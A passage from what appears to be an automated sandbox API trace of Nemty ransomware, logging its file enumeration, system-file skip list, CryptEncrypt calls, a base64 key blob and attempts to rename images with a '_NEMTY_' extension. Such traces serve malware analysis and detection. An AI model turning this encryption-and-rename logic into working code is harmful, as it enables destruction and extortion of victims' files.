returned 0x4f93620 [0158.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0158.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0158.120] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\9.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0158.121] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0158.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0158.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.168] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.189] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.199] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.199] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0158.230] CloseHandle (hObject=0xffffffff) returned 0 [0158.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0158.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0158.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0158.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0158.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0158.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0158.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0158.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\9.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\9.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\9.png._nemty_kgobjgd_")) returned 0 [0158.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0158.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0158.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0158.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0158.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0158.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0158.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0158.231] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c396e9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c396e9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3032, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2=".") returned 1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="..") returned 1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="...") returned 1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="windows") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="$RECYCLE.BIN") returned 1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="rsa") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="NTDETECT.COM") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="ntldr") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="MSDOS.SYS") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="IO.SYS") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="boot.ini") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="boot.ini") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="AUTOEXEC.BAT") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="ntuser.dat") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="desktop.ini") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="CONFIG.SYS") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="RECYCLER") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="BOOTSECT.BAK") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="bootmgr") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="programdata") returned -1 [0158.231] lstrcmpiW (lpString1="activity16v.png", lpString2="appdata") returned -1 [0158.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0158.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activity16v.png", lpUsedDefaultChar=0x0) returned 15 [0158.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0158.231] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activity16v.png", lpUsedDefaultChar=0x0) returned 15 [0158.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0158.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0158.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activity16v.png", lpUsedDefaultChar=0x0) returned 15 [0158.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0158.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="activity16v.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activity16v.png", lpUsedDefaultChar=0x0) returned 15 [0158.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0158.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0158.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0158.232] Sleep (dwMilliseconds=0x5) [0158.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11f7c0b0, dwHighDateTime=0x1d561e8)) [0158.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11f7c0b0, dwHighDateTime=0x1d561e8)) [0158.244] GetLastError () returned 0x5 [0158.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0158.244] GetLastError () returned 0x5 [0158.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0158.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.244] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0158.244] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0158.245] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0158.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340220 [0158.245] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340220, pcchString=0x653e91c | out: pszString="EXmTKGh2OSK/YR0i54BIwOF6mXnFKuMw0J00boV/hnnOiTueB57uLU963f5K0MMG\r\n+gmH+LA8Zfs2J+rQFdMwMKQceftm5wIbGNNjupaPlTQ2Co2n/l3t+7dtX6df8SPN\r\ne2YAZlOpXH8SXsU1M7nljaZTM/LNrAYXQCXnOwoQaO5BiO924aquD9/Aq+nTsj+B\r\nNUPI6vZHeQys/OxEMt0ijbfD5BY+EvKidKUe4Dda3bc4I5bu7BlmLOJaYXF/IojA\r\ncR/lWGgzEj2YQ5TqslxXuI6A31p6dymBRI1tZEFdb49WHxL8eJ1eplRza+u2N2Y7\r\ntAp/2+bmQdihodHcaKZ0hQ==\r\n", pcchString=0x653e91c) returned 1 [0158.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0158.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0158.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0158.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0158.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340220 [0158.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0158.245] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\activity16v.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\activity16v.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0158.245] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0158.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0158.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.254] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.254] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.254] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.273] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.273] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.273] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, 